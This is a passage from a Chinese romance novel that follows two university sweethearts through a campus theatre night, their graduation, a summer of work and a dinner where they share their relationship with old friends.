堆叠的工具箱遮挡视线,女孩的侧脸时隐时现,眉目专注,举着手在空中比划,耳垂上的银色耳钉折射出一点白光。
陈天衢慢下脚步站在一侧,没有出声打扰。
还是旁边的人先发现了他,提醒乔漾说:“学姐,有人找你。”
“嗯?”乔漾偏头看过来。
等两人视线交汇,陈天衢举高手里的打包袋,说:“吃饭了。”
乔漾掀唇一笑,交代了学妹几句,跨上观众席朝他走过去,嘴里说:“饿死我了。”
“南苑人多,排了一会儿队。”
乔漾牵着陈天衢坐到最后一排的角落里,这位置能俯瞰整座礼堂,舞台上有演员在确定站位,对讲机里传来声响,她听完后拿起放到嘴边,回话说:“面光打出来从上面看就是一团白,已经让师傅再加个前侧光了,不然就把妆再化重一点。”
陈天衢撕开猪扒包外头的包装袋,举在手里递到乔漾嘴边。
她低下头张嘴咬了一口,问:“你吃了没啊?”
“吃了。”
乔漾拎起陈天衢的胳膊看了眼手表:“都六点了啊。”
“嗯。”
“不行。”乔漾加快咀嚼速度,“我得吃快点了。”<
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p>“不着急,慢慢吃。”
乔漾接过他手里的猪扒包:“那你别看着我。”
“好,我不看你。”陈天衢坐正身体,目光朝一楼舞台上投去。
看到那个在试音的金发女孩,想起那声姐夫,他低头抿开嘴角,又清清嗓子故作镇定道:“那个,其实我就大一排到过一次专业第一,现在不是了。”
“我知道啊。”但乔漾不懂他为什么突然提这个。
陈天衢转头迎上她的目光,问:“那为什么学妹说我是专业第一?”
“哪个学妹?”
“提泰妮娅。”
“提泰……”乔漾指着楼下,“你说小马啊?她怎么知道的?”
“不是你告诉她的吗?”
“没有啊,昨天我回宿舍的时候她们都睡了,而且……”乔漾不屑地笑笑,“我总不能谈个恋爱就昭告天下吧?”
陈天衢歪了歪脑袋,问:“那她怎么认识我的?还喊我姐夫。”
“哈?”乔漾拿走嘴边的猪扒包,也懵了,“她怎么认识你的?”
陈天衢摇摇头:“不知道啊。”
他又看向坐在前排的女生,对乔漾说:“她好像也认识我,为什么?”
越说越诡异,乔漾顺着陈天衢的目光看去,提声喊:“冰冰。”
女生回过头:“姐你叫我?”
乔漾指着身边的人问她:“他是谁?”
李冰莹眨着大眼睛看了眼陈天衢,回答她说:“你男朋友啊,你不认识啦?”
“你……昨天看到了?”
“什么昨天?”
乔漾越发困惑:“那你们怎么知道的?”
“不是大家都知道吗?”李冰莹挠挠头,“我也忘了听谁说的了。”
“说什么?”
“你跟你男朋友高中就在一起了,人家还是法学院的专业第一。”
陈天衢和乔漾对视一眼,问:“所以你们院的人一直都这么以为?”
乔漾莫名有些心虚,说:“我感觉你们院的人好像也都这么以为。”
她忽然一下子全想明白了,昨天她把蛋糕和花拿给辛宸的时候原本已经做好了被起哄的准备,但对方却一副见怪不怪的样子,还问了她一句“你俩吵架啦?”。
包括上个学期小张学妹在食堂碰见她,和她打招呼问陈天衢最近在忙什么,说好久没看见他的人,她想问问保研的事,乔漾还心想我哪里知道,要问你可以自己去找他啊。
“那怎么没人来跟我求证一下呢?就任由谣言这么传?”乔漾感到气愤。
陈天衢只觉得好笑,扯开嘴角说:“传着传着也真了,而且这种事肯定都是在背后八卦。”
“所以到底是谁造的谣?!这不是挡wo……”她话锋一转,改口说,“挡你的桃花吗?”
陈天衢并不在意:“挡挡挺好的。”
乔漾还是忿忿不平:“到底是谁胡说八道?”
她狠狠咬了一口手里的猪扒包:“太可恶了。”
-
二零一九,十二月,某个周六夜的凌晨。
联谊舞会有惊无险地结束,文娱部的成员们围成一圈,桌子中间堆着小山一般的纸条。
一半是活动反馈单,另一半上写着心仪对象的号码牌,按照规则只有男女双方都选中彼此他们才会提供对方的联系方式。
“这两个这两个!这两个都写的对方!”有人高声喊。
俞悦双手合十拜了拜,感激涕零道:“总算是没白干。”
“是不是男生的还少一张啊?”
“不会吧,我应该都收齐了,看看地上呢,会不会掉在地上了?”
屋里突然安静下来,左右两边的人都把脑袋伸到桌下,从开始就在开小差的乔漾愣愣回过神,小声问旁边的周茗珊:“怎么了?”
“男生的少了一张,你快看看你脚边有没有。”
“哦那个。”乔漾抬起手在空中指了下,“他是被我拉来救场的,他……没写,不用算他的。”
不,不是没写,那张纸条此时此刻就躺在她的口袋里。
大家松了口气,继续核对剩下的便签纸。
乔漾把手伸进口袋,又不由自主地开始神游。
有人问:“不会是把你男朋友拉来了吧,乔漾你这也太伟大了。”
她心不在焉,只听到零星几个字,淡淡笑着“嗯”了一声,说:“应该的。”
又有人问:“你俩怎么认识的啊?”
她撑着下巴两眼空空,机械般地回答:“高中同学。”
11.戏剧夜
临近七点时会场的灯光暗了下来,陈天衢调低手机亮度,刚准备给乔漾发消息就听到旁边的椅子发出响动。
他偏头看过去,眼里立刻含了笑意,放下手机问:“忙完了?”
“嗯。”乔漾一路从二楼跑下来的,喘着气回,“我功成身退了,现在就看他们的了。”
“辛苦了。”
观众席上零零散散坐了几排人,乔漾举着食指一个一个人头数过去,失望地垂下胳膊:“怎么才这么点人来啊?”
“他们不懂欣赏艺术。”陈天衢牵起乔漾的手放在自己腿上,看向舞台说,“我懂。”
话虽这么说,但纯英文的对白没多久就把他念叨困了,要不是乔漾在旁边,他也大概知道《仲夏夜之梦》的故事剧情,他早就坐不住了。
舞台上演员热情演绎,舞台下陈天衢用指节用力蹭了下眼角,逼着自己打起精神。
高中九门科目他学得都不算差,唯独一门英语总绕着班级平均分徘徊,以前胡亮就说他语文学得那么好怎么偏偏英语瘸腿了。
陈天衢对此心有余而力不足,他也说不上是不喜欢英语所以学不好,还是学不好才更加厌恶,也可能是初中的时候基础就没打好,后来想努力赶也只能堪堪把差距填平。
大二上考六级差了三分没过,陈天衢虽然可惜但也觉得是情理之中的事,反倒是乔漾比他还不能接受,在下一年考试前给他严格制定了一套复习计划,还复兴了“迪克推行”。
那一个月乔漾每天给他布置一页纸的背诵内容,第二天再抽空给他默写批改,考前一周陈天衢更是在她的看管下把往年的真题卷全刷完了。
大二课多,陈天衢想停一天乔漾都不肯,说大课间三十分钟默完足矣,她可以去他们院的教学楼下等他。
“你比沈丽云还可怕。”陈天衢闭眼叹息。
乔漾抱着胳膊哼哼一笑,用最温柔的语气说出最狠毒的话:“敢不过你就等死吧。”
第二年的英语六级考试中陈天衢不负众望考取了576分,查完分数他自己都不敢相信。
天老爷,这比他四级成绩都高一百。
这多出来的一百分肯定得归功于兢兢业业的乔漾老师,所以开学后陈天衢主动约人吃了个饭。
那天的夕阳金黄灿烂,他站在外院楼下等乔漾上完课。
下课铃回荡在校园里,不多久陈天衢就听到一阵脚步声,乔漾跟随人群走出来,朦胧的光打在她的周身,让她多了层温暖的色调。
陈天衢逆着光走向她,问:“想吃什么?”
“嗯……”乔漾扯着书包带子,忽然眼睛一亮,“有家新开的啤酒坊,转发朋友圈就送块蛋糕呢。”
陈天衢没立即说好,愣了愣问她:“你想喝酒啊?”
“我是想吃蛋糕。”乔漾扬唇笑起来,“走啦。”
抱着“来都来了”的心态,那天乔漾还是点了两杯精酿啤酒。
她先尝了一口,确认酒味不浓后告诉陈天衢:“你喝喝看,和饮料差不多。”
高考完的散伙饭上他们几个就在好奇心的驱使下尝过酒了,那会儿陈天衢严格意义上还是个未成年,他没喝,后来在联谊舞会上阴差阳错地把可乐威士忌当饮料喝了,但那晚的体验感不算好,之后凡是有聚会他都说自己喝不了酒,所以也一直不知道酒到底有什么吸引力。
他在乔漾的注视中端起杯子尝了一口,冰凉酸甜的果味先入为主,吞咽之后才能感受到残留在口腔中的淡淡麦芽香。
“怎么样?好喝吗?”
上大学之后乔漾就摘了框架眼镜,昏暗的灯光下她双眼亮晶晶的,陈天衢点了点头,评价说:“还行。”
薄底披萨经过窖烤自带焦香,乔漾戴上一次性手套,拿了一块直接卷成卷往嘴里塞。
陈天衢看乐了,问她:“你吃手抓饼呢?”
“你试试看。”乔漾说,“网上说这样吃更香。”
“真的假的?”陈天衢嘴上质疑,但还是学着她的样子把披萨当卷饼吃。
那会儿他俩都不知道酒喝得越快越容易上头,两个傻小孩纯把精酿当饮料喝。
喝得多了也不知道自己醉了,就觉得脸颊在发烫,对面的人又远又近,说话声忽大忽小。
“走吧,回学校了。”
乔漾身子一歪趴在桌上,嘴里嘟囔:“好饱啊,不想动。”
陈天衢拿起她的书包,把胳膊递了过去。
陆州的夜风缱绻温柔,乔漾走得慢吞吞,一路上哈欠打了一个又一个。
校门口有段上坡路,有个女生在搬东西,见对方站在原地有些手足无措,陈天衢快步走了上去,帮她扶起脚边的行李箱。
“谢谢谢谢。”女生连声道谢。
“我们帮你拿吧。”乔漾跟了上去,问她,“你回宿舍吗?”
“不用不用,你们帮我拿一下这个就行,我把东西塞到书包里就能拿了。”
“行。”乔漾接过她怀里的东西。
等女生重新整理好了,他俩继续迈步往前走。
陈天衢老觉得有什么地方不对劲,往旁边瞥了一眼,问乔漾:“你什么时候买的柚子啊?”
“啊?”乔漾低下头,自己手上赫然抱着一颗圆滚滚的柚子,“啊!”
她赶紧回头追上刚刚那个女生,一边道歉一边把柚子还给人家。
“没事没事。”女生的脸比她还红,其实早就发现了,但没好意思开口,都已经说服自己就当送给好心人的了。
这么来回一折腾,乔漾跑出一身汗,抬起头和陈天衢对视一眼,下一秒两个人齐齐开始爆笑。
他俩说醉意识又还都算清醒,但神经在酒精的作用下变得格外放松,以至于这一笑就停不下来了。
路灯在地上形成一个不大不小的光圈,刚好圈住他们两个人。
滨海之城的夜潮湿燥热,乔漾摁着小腹笑得浑身脱力,自己刚刚险些社死,但因为身边的人是陈天衢,所以不觉得丢人只觉得好笑。
“乔漾。”陈天衢笑着笑着叫了一声她的名字。
乔漾看向他的眼睛,问:“干嘛?”
陈天衢看着她,深色的眼瞳倒映着繁星点点,让人一不留神就沉沦于此,他攥紧书包带子摇了摇头。
那天月光清朗,在夜风和酒精的催化下某种幸福感充挤着他的心脏,以至于他差点脱口而出“我喜欢你”。
但人不应该在太幸福或太悲伤的时刻做决定,陈天衢告诉自己,这个夜晚已经足够难忘。
你不要贪念
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太多。
肩上忽然一沉,陈天衢侧目看去,下巴蹭过乔漾额前的发丝。
“困了啊?”
“没。”乔漾的声音很轻,但他们之间的距离足够近,“就想靠着你。”
“下个礼拜有空吗?”陈天衢低声问,“我们出去玩吧。”
“下个礼拜?”乔漾算了算,“好像不行,下周末要考专八了。”
再往后就得忙着论文答辩,毕业前又有很多杂事需要处理,陈天衢问:“那暑假?”
乔漾笑着提醒他:“我还哪有暑假啊,六月底就得去馆里报到了。”
“对哦。”陈天衢叹了声气。
“后悔说晚了吧?”乔漾哼了一声,“让你不早点。”
“不后悔。”
乔漾抬起头,陈天衢远远看着舞台上穿着华服的男男女女,眉目平和,不像是在嘴硬。
“真的不后悔?”她出声确认,“如果我再迟钝一点呢?如果我喜欢上别人呢?”
“有些话只有你想听的时候我说出来才有意义,所以在此之前。”陈天衢收了声,没有把话说完。
“在此之前什么?”乔漾着急地追问。
他却只是一笑,说:“我告诉过你的。”
乔漾蹙起眉心,她和陈天衢说过太多太多话了,她一时间想不到是哪一句。
舞台上海丽娜向心爱之人卑躬屈膝、苦苦哀求,文学作品中的爱恨纠葛总是浓烈、混乱、致命而危险。
陈天衢看着那对痴男怨女,安静听着他们的对白,指腹无意识地摩挲着乔漾的手背。
事实上有许许多多人在爱中保持沉默,因为胆小懦弱,因为不配得感,因为害怕失去,所以隐忍所以谨小慎微,投去目光却不敢奢望回应,一个人的心境就构成一整幕剧,还要欺骗自己这样就已经足够,“喜欢是我一个人的事”。
但世上的爱恨又太难纯粹,人难免会有私心,只要付出心血就会期望回报,只要喜欢就想拥有。
陈天衢不是不想被看见,他只是怕自我的样子无法满足他人期许,因此宁愿不要。
“《不安之书》,对吧?”乔漾出声问。
陈天衢怔住,转头看向她问:“你还记得?”
他既意外乔漾居然记得几年前他的随口一提,也意外过去的十几分钟里她竟然一直在想这件事。
乔漾笑容得意,告诉他:“高中的时候为了赶上你,你看过的书我都会借去看,你忘啦?”
陈天衢失神般望着她,脑海中闪过许多画面。
那时乔漾确实时常回过头问:“你在看什么?”
在他做出回答以后又说:“那你看完借给我看看。”
“陈天衢。”
他眨了下眼,视线重新聚焦,记忆中的女孩幻化成此刻的模样。
乔漾轻声喊他的名字,说:“其实你也是我的日出和月光。”
她的目光真挚而温柔,静静落在自己身上。
他被看见了,被完完整整地,以自我的样子看见。
舞台上幕布落下,灯光随后熄灭,会场内安静下来,只剩些窸窸窣窣的动静,上半场结束了。
一片漆黑中不知是谁先靠近对方,温热的唇轻轻贴合,呼吸交缠,心跳声如雷震耳。
12.毕业季
陆州的夏天漫长炎热,一年近一半时间都是这样的季节。
乔漾抱怨过烈日,抱怨过蚊虫,抱怨过潮湿黏腻的空气,临近离别之时她依然觉得夏天讨厌。
远处的海面一望无垠,在阳光下泛着刺眼的波光,她将被风吹乱的头发别到耳后,在摄影师的指令下努力睁大眼睛保持微笑。
“好的,同学们,很棒。”
摄影师比了个手势,示意他们可以下来了,换下一个班级上去。
旁边的女生赶紧摘下学士帽给自己扇风,乔漾扶着脖子眨了眨干涩的眼睛,她也快不行了。
“你还有小夹子吗?”同学问。
“有。”乔漾把手伸进口袋。
“乔乔。”
乔漾下意识回过头,以为是在叫其他同姓的人,却没想到下一秒看见了陈姝。
女人站在绿树下,怀里捧着花,正笑着朝她挥手。
乔漾把一整盒黑色一字夹都塞给旁边的同学,拔腿跑了过去。
“阿姨。”她惊讶道,“你怎么来啦?”
陈姝将怀里的花递过去,说了声“毕业快乐”。
“谢谢。”乔漾捧住花,偷偷撇了下嘴角。
乔凯和苏桐都有工作,乔汐更抽不出时间,她原本已经做好了一个人参加毕业典礼的准备,毕竟陆州太远了,很多同学的家长都没来。
但现在她有了。
“你什么时候来的?怎么都没跟我说?”
“我特地没跟你们俩说。”陈姝从包里取出手机,“也就前两天到的,我想自己一个人逛逛,好久没出来旅游了。”
乔漾问:“陈天衢也不知道啊?”
陈姝笑起来:“对,我今天早上才跟他说,我忘了你们学校现在得申请才能进来。”
她左右看看,找了个光线好的地方让乔漾站过去,说:“我可是带着任务来的,你妈妈让我给你多拍点照片。”
乔漾整理了一下头发,捧起怀里的粉蓝色花束看向镜头甜甜一笑。
陈姝举着手机,嘴角也沾染了几分笑意,她还记得第一次见到这个女孩的时候,那天是一中的家长开放日,课间她去了趟厕所,洗手时旁边的女孩跟她打招呼说:“阿姨好,你做的雪花酥是我吃过最好吃的雪花酥。”
那时的乔漾梳着两只马尾辫,眼镜框圆圆的,脸也圆圆的,语气夸张,但陈姝听了心里一下子就暖了,笑着回她:“下次我再做了让陈天衢带来!”
一晃眼五六年过去,孩子们都大学毕业了,那些画面想起来仍旧清晰。
陈姝拿下手机,看着照片上的女孩感慨道:“一下子你们就长大了。”
刚好有认识的同学路过,乔漾叫住对方,把自己的手机递过去,快步跑到陈姝身边挽住她,说:“我们也拍一张。”
她俩在外院门口前前后后拍了半个钟头的照,中途陈姝还被熟人认出来了,又站着聊了好一会儿天。
乔漾的笔译老师是陈姝的本科学妹,两个人多年没见,她也是才知道柳笑调来陆大教书了,这一见面不得了,一开话头就没个完。
乔漾也帮她俩拍了合照,传照片的时候顺带发给了陈天衢一份。
他先回了三个句号,又说:我还以为她迷路了。
乔漾:哈哈哈哈哈哈哈哈哈哈哈。
说了半天话,柳笑才想起来问陈姝:“乔漾是你们家亲戚啊?”
“不是,是我儿子的……”陈姝“哎呀”一声,“完了,我把我儿子忘了。”
乔漾把手机放回口袋里,赶紧挽住陈姝的胳膊,对柳笑说:“老师,那我们去法学院了啊,我男朋友还等着呢。”
“行,快去吧。”
法学院离得不远,下了坡一路直走,过了图书馆就是。
校园内树木林立,蝉鸣声声,树叶的光影在脚边打晃。
陈姝被乔漾挽着,偏头看了眼身边的女孩,嘴角挂着笑,轻声开口问:“阿姨刚刚没听错吧?”
“啊?”乔漾抿住唇,才反应过来自己好像说漏嘴了。
她心虚地笑笑,问:“陈天衢没告诉你啊?”
“没啊。”陈姝摆出一副失落的样子,“小时候还什么都跟我说呢,越长大越不爱和我聊了。”
“我也不爱跟我爸妈说这些,说了他们肯定啰嗦。”尤其乔凯,要知道她跟陈天衢谈上了,肯定又得念叨一万遍考研的事。
“知道。”陈姝笑了笑,“我不八卦,你们俩自己的事,我就当什么都不知道。”
“谢谢阿姨。”乔漾收紧胳膊,“你真好。”
“热不热啊?”陈姝帮她理了理额前的刘海。
“热。”图书馆门前就有咖啡店,乔漾调转脚步,“阿姨我请你喝咖啡吧,正好给陈天衢也带一杯。”
“好呀,今天我沾儿子的光了。”
乔漾纠正她说:“是他沾你的光。”
毕业前各种琐事堆积,让人一心盼着赶紧结束,等真把毕业证和学位证领到了手,心里又忽然觉得空落落的。
宿舍还有学妹们在,乔漾用不着办理退宿,宿管阿姨让她把自己的东西收拾好就行。
离开的那天学妹们有期末考试,一大早就出门了,乔漾把送给她们的礼物放到每个人的桌子上。
昨天晚上三个小姑娘就买了花和蛋糕给她庆祝过,也拍了一大堆拍立得留作纪念。
和她们相处的时间虽然只有短短一年,但也是实打实地住在一个屋檐下,每天朝夕相处,也曾在深夜的床铺上谈过心。
女孩们告诉她:“有你当室友真的好幸福,姐,你走了我们怎么办啊?”
听到这话乔漾还挺意外的,她印象中自己能帮上忙的无非就是些小事,校园卡在哪补办、电费怎么交、教务网址是什么,诸如此类,不至于不可或缺。
学妹们又说:“就是有你在觉得很安心。”
这次乔漾眼睛冒热,鼻头一下子酸了。
她扛着偶像包袱,没表现出来,只偷偷给陈天衢发了条消息。
她说:舍不得走了,还想再念两年。
陈天衢回复之前乔漾又发了五个字:不许说考研。
聊天框上方的“对方正在输入中”消失了,陈天衢回了个句号。
乔漾脑补出对方的表情,直接对着屏幕笑出了声。
陈姝一直待到了两个小孩离校那天,很多东西都已经提前打包寄走了,真正走的那天行李箱反倒很轻,不像四年前来时大包小包、生怕漏带了什么。
乔漾一路上都还算平静,似乎只是一个普通的暑假要到了。
等走出校门口,她停下脚步回头看了一眼。
陈姝问:“要不要给你们俩拍一张?下次就不知道什
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么时候回来了哦。”
这地方走了千百遍了,也就来报到那天为了发给夏灿看所以乔漾拍了张标准游客照。
她看向陈天衢问:“拍吗?”
“拍。”陈天衢放下书包,牵着乔漾的手往回走。
晴空明朗,棕榈常绿,石门上的陆州大学字迹恢弘,这是他们的又一所母校,又一个夏天。
陈天衢忽然想起小时候他在书架上找书看,从一本《华兹华斯诗选》中翻出一张旧照片。
他拿去给陈姝看,妈妈惊喜地问他在哪发现的。
“是你和爸爸年轻的时候吗?”
“对呀。”陈姝轻轻抚摸照片上的人,“在学校里拍的,那是爸爸妈妈相爱的地方。”
——那是爸爸妈妈相爱的地方。
陈天衢想到了这句话,如果很多很多年以后,他有幸有了自己的小孩。
他想,他也要这么说。
羡市没有机场,飞机落地宁城之后乔漾第一时间给乔凯发了消息。
陈天衢和陈姝要在宁城待一阵子,也问过乔漾要不要留下玩几天,但她下周一就得去馆里报到了。
乔凯早早就等在接机口,两家大人打了招呼,陈天衢喊他:“叔叔。”
“诶诶。”乔凯喜欢这小孩喜欢得不得了,一见面就问他,“暑假打算实习吗?我所里正在招实习生。”
“导师说可能要提前进组,今年就先不找了。”
乔凯刚要开口,乔漾就把斜挎包和行李箱都往他手里一塞,说:“我去上个厕所。”
“我也去。”陈姝叫住她,“乔乔,等一下我。”
乔凯把女儿的包挎到手臂上,继续问陈天衢:“我看到你研究方向是民商法学,是确定这个了?”
“对。”
“行。”乔凯拍拍男孩的胳膊,“叔叔看好你。”
陈天衢朝他笑了笑。
乔凯开了一多小时车,这会儿烟瘾犯了,摸着口袋问:“这里有没有吸烟室啊?”
陈天衢转过身往回看:“我刚刚来的时候好像看到了。”
男孩的黑色书包上挂了个浅色小玩偶,乔凯余光瞥到,视线落了过去,启唇说:“你这小老鼠挺有趣的啊。”
陈天衢手往后伸抓住包上的挂件,低头看了眼说:“这是松鼠吧。”
“哦。”乔凯点着头收回目光,又不动声色地往自己手里落了一眼。
乔漾的斜挎包上挂着一只粉色背带裤兔子,这小玩意是夏灿送给她的,从大一开学的时候她就挂在包上了。
难道他记错了?
“好了,走吧。”乔漾甩了甩手上的水珠,从乔凯手里接过包挎回自己肩上。
乔凯推着她的行李箱,抬手对陈姝说:“陈老师,我们走了啊。”
“诶。”陈姝笑吟吟道,“回去了再聚啊。”
小情侣即将分别,乔漾耷拉着嘴角用口型说了声“拜拜”,陈天衢看着她点了点头。
“走了。”乔凯一把搂住女儿把人带着往前走,就不让她回头看。
“干嘛呀?”乔漾缩了缩脖子,不知道她爸突然抽什么疯。
乔凯冷冷笑了声,问她:“你要不跟人家走?”
“我不,我要上班的。”
这话听了乔凯心里舒服多了:“对,上班好,好好上,多挣点钱。”
13.高温天
过了二十二个悠闲的夏天,这一年乔漾才体会到在酷暑天出门上班是件多么反人类的事。
角落的盆栽叶子被太阳晒得蔫巴,办公室里的人也一个个无精打采的。
“为什么要让我刷到欧洲人七八月都在度假?”同事举着手机抱怨,“什么时候这种福气能轮到我啊?”
“就算休了假我也懒得出去,这天太热了。”
室内空调温度打得低,乔漾裹紧肩上的毯子,安静听着他们聊天。
“今天有四十度吧?”
“绝对有了,这还不发高温补贴我真要闹了。”
“小乔。”
“诶。”乔漾歪着脖子从电脑后露出脑袋。
对面桌子的同事问她:“你喝不喝柠檬茶?”
乔漾摇摇头:“不喝了,早上喝过咖啡了,再喝今天晚上睡不着了。”
“好吧。”同事又扭头去找寻下一个可拼单对象。
离下班还有三个小时,乔漾拔掉手机充电线,趴在办公桌上点开微信的未读消息。
这两天馆长去辛山参加活动了,基本都不在办公室,他们不仅更加放肆地摸鱼,还组团四点五十就走人,反正在停车场也能钉钉打卡,被抓到早退也不怕,就说跑楼下看现场了。
这个暑假陈天衢在宁城待了小半个月,等陈骏休了假一家三口又出去旅游了,直到七月底才回羡市。
他们一家能聚在一起的时间不多,暑假的旅行是每年固定的,每次出去陈天衢都会给朋友们带点纪念品或者当地特产。
乔漾翘着嘴角,一张张翻看男朋友发来的照片。
澄澈的蓝和葱郁的绿宽广连绵,山川湖泊似画中之景,美得不切实际。
陈天衢将每一个镜头都对准自然,认认真真记录下他看见的世界。
乔漾抽出另一只胳膊,打字问他:你呢?
国外的信号老是断断续续的,陈天衢过了会儿才回复:我在拍照啊。
乔漾只能把问题扩充得更具体:陈老师没帮你拍吗?
陈天衢说:她忙着拍我爸呢。
乔漾回了句“笨蛋”,又说:我是说,我想你了。
这次陈天衢回得挺快:等我。
几分钟后乔漾收到了一张新的照片,画面中男孩穿着白T恤牛仔裤,站得笔直笑得僵硬。
乔漾捂紧嘴,差点乐出声。
她放大照片又仔细看了看,也不知道是长开了还是这小子偷偷锻炼了,虽然依旧和以前一样高高瘦瘦,但肩膀比高中那会儿宽了些,整个人也更挺,身形不再像学生时期那样单薄。
乔漾把照片保存进相册里,给他发:快回来吧!
陈天衢:我昨天就说了,好山好水好无聊,他俩嫌我扫兴。
那样美的山水于眼睛是净化于心灵是疗愈,从他的镜头就能体会到他的愉悦和放松,又怎会无聊,无非是他心不在此处,想见的人太远。
乔漾说:明年我就有年假了。
陈天衢:明年把你揣兜里。
高温天还要上班的烦躁和苦闷全被这段没营养又腻歪的对话清除了个干净,乔漾坐直身子,端正语气告诉他:我要工作了!你好好玩!多拍点照片!你的照片!
发完她就把手机翻扣在桌上没再管它,下班前还有一篇推文要写,写完这一天的工作就差不多结束了。
谈恋爱的事乔漾还没跟乔凯和苏桐说,她只告诉了乔汐。
她姐收到一张滚来滚去的表情包后第一反应是:缺钱了?惹事了?
乔漾对此哭笑不得:我能惹什么事啊!
乔汐:那就是谈恋爱了?
乔漾:。。。
她又发了一张对手指的表情包,说:那你再猜猜是谁。
乔汐:你那个高中同学?跟你一起上大学那个?
乔漾:。。。。。。。。。。。。。。。。。。
她问乔汐:你怎么猜到的?
乔汐哈哈笑了:也没听你提过其他男生啊,不猜他能猜谁。
乔漾把这事告诉麦初,麦初回了四个字:恭喜,祝福。
她告诉夏灿,夏灿说:就谈了?许长溪昨天刚给你物色了一个男嘉宾。
乔漾也说不上为什么,好像全世界对他俩谈恋爱这件事一点都不惊喜。
她只能把希望寄托于莫知和杭以安,期待他俩能给点什么有趣的反应。
这顿饭安排在了陈天衢回来的第二天,按理得他俩请客,所以乔漾想另外找家餐厅。
这几年他们有聚餐肯定都优先考虑元帅府,看到群里发的餐厅名杭以安直接开麦问:“嫌我家菜不好吃了啊?”
乔漾赶紧发了一连串的“没”,陈天衢帮她解释说:总不能老去你家蹭吃蹭喝。
杭以安一听这话更来气了:你俩犯病了啊?还你家我家的。
莫知也在底下说:就是啊。
莫知:@杭以安
莫知:我要吃冰镇小龙虾,我看到妈发的朋友圈了。
他嘴里的“妈”是杭以安的亲妈贾丽珍女士,元帅府的老板娘。
杭以安爽快地回了个“OK”。
这下乔漾和陈天衢都不敢再说什么了,再说就矫情了。
所以这顿饭还是在元帅府吃的,贾丽珍给他们四个安排了七斤的小龙虾。
“那个,我说个事啊。”乔漾清清嗓子,握住陈天衢的手,“我俩在一起了。”
包厢里安静了两秒,杭以安吐掉嘴里的虾壳,看着他俩说了句:“百年好合。”
莫知掰开虾头,跟了句:“长长久久。”
“帮我倒点可乐。”他朝杭以安抬抬下巴。
“我手脏的,你让乔漾给你倒。”
莫知转而开口:“乔漾帮我倒点可乐。”
“……哦。”
乔漾把莫知的杯子拿到面前,扭头看向陈天衢,悄声问:“你告诉他俩了?”
“没啊。”陈天衢说,“你不是让我先别说的吗?”
乔漾把倒好的可乐放回莫知手边,心里更加郁闷了,亏她还特地挑了个正式的场合再宣布,可他俩根本不在意也不关心。
这一桌人除了陈天衢都已经是工作党了,杭以安下个月开始新教师培训,莫知在的派出所就在乔漾家附近。
“那以后岂不是有莫sir罩着你了?”杭以安打趣乔漾。
“呵呵。”乔漾笑了声
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,“还指望他罩着我?我要犯点事他绝对第一个来逮我。”
“那就给我遵纪守法。”莫知把剥好的虾肉放进乔漾碗里,“我可不想跟你所里见啊,到时候别说认识我。”
“放心吧你就。”
“喏。”莫知三两下就又剥好一只,这次他直接递到了陈天衢嘴边,等他咬走上面的肉再把剩余的一点虾尾巴丢到桌上的虾壳堆里。
桌子底下莫知悄悄用膝盖碰了他一下,陈天衢抬眼看过去,莫知勾起嘴角朝他递了个眼色。
“乔漾你要打包点菜走不?”杭以安问。
“要要要。”乔漾立刻应,上了班她才知道这种现炒的家常菜有多珍贵,单位附近的外卖实在是快吃厌了。
“那你跟我去后厨看看。”
“行。”乔漾站起身,跟着杭以安出了包厢。
元帅府的生意一直不错,走廊里人声嘈杂,到了楼梯口才安静些。
“你表白的还是他啊?”杭以安偏过头问。
“你猜猜看呢?”
“你?”杭以安观察着乔漾的表情,“不会是他吧?”
乔漾弯唇笑了笑:“算他先开的口吧。”
“嚯。”杭以安挑高眉毛,“真的假的?我以为这辈子都等不到了。”
乔漾玩笑说:“那你们也不帮帮他,这么多年就看着?”
杭以安摇了摇头:“那不能帮。”
乔漾感到疑惑:“为什么不能?”
杭以安慢下脚步,告诉她说:“你要问私心,肯定都盼着你俩好,但这事本来就对你不公平,他如果真的高考完就脑子一热说了,周围人再跟着起起哄,怕你稀里糊涂的,不喜欢也不好意思拒绝。这事吧,不是说陈天衢喜欢你你就应该也喜欢他,我们早就说好了,不管你以后喜欢上谁,我们也都希望你能如愿以偿。”
乔漾愣住,过去心意还未明晰时她也担心过,怕因为自己让大家都变得尴尬,也怕他们会失望,她能感觉到这事应该就她一个人还不知情,所以藏在心里谁都没说,但原来朋友们在她和陈天衢之间优先选择了她。
“我刚刚看你和莫知反应那么平淡,还以为你们不看好我们俩呢。”
“我俩憋着呢。”杭以安抱着胳膊笑,“不敢太激动,怕你觉得我们就盼着这一天。”
乔漾捂住心口,感动道:“亲故,你们也太sweet了吧。”
“别夸我们。”杭以安说,“要夸就夸我同桌吧,是他sweet。”
男孩的心意坦荡荡,放在每一次不声不响的注视、每一个含着笑意的垂眸里。
过去乔漾未能发现的,周围人靠几个瞬间就有所察觉。
那个时候他们还小,没坏心,但考虑的东西也单一,就觉得朋友需要帮忙。
他们好几次有意无意地想给陈天衢和乔漾制造单独相处的机会,陈天衢发现了,却不太开心。
——“我是喜欢她。”
那天他站在树荫下,身影显得有些单薄,紧攥着拳头,说出这话花了不少勇气。
“但你们以后别这样了,我知道你们是,想帮我,但我真的不需要。”他说,“我喜欢她,她可以不喜欢我。”
14.校门口
杭以安到后厨新加了几个菜,又让店里的阿姨给乔漾额外打包了一份糖醋排骨和鱼香茄子。
他上楼前顺手从前台柜子上拿了三瓶啤酒,开饭前就问过喝不喝,莫知和乔漾明天都要上班,陈天衢觉得酒不好喝。
“你们不喝我自己喝。”杭以安抱着酒瓶往楼梯上走,“我今天开心。”
“喝喝喝,我也喝。”乔漾伸手从他怀里分走了一瓶。
这顿饭吃着吃着又开始了新的一轮,寒假本来说好要聚最后也没见成,他们几个是太久没好好坐在一起吃饭了,说句刺心的话,这几年的友情是淡了。
杭以安撬开瓶盖,想到那位好久不见的朋友,开口问:“麦初不也毕业了吗?什么时候回来啊?”
陈天衢摇摇头,莫知专心致志挑着碗里的鱼刺,没出声。
“打个电话给她呗。”乔漾放下筷子从口袋里摸出手机。
语音通话拨出去,桌上的三个男人齐齐把目光移向她。
“喂?”乔漾拿下手机看了眼屏幕,又放回耳边问,“你真接了啊?”
电话里的人问:“怎么啦?”
“想你了呗,你能开视频不?我们在吃饭呢。”
她不说麦初也知道这个“我们”里包含了谁。
“我刚醒,准备洗漱出门了。”
言下之意就是不太方便,乔漾“哦”了一声,说:“好吧。”
麦初问她:“你们在哪儿吃呢?吃的什么啊?”
“当然是元帅府了,你都不知道他们一共吃了多少斤的小龙虾。”
“别说了,我要馋死了。”
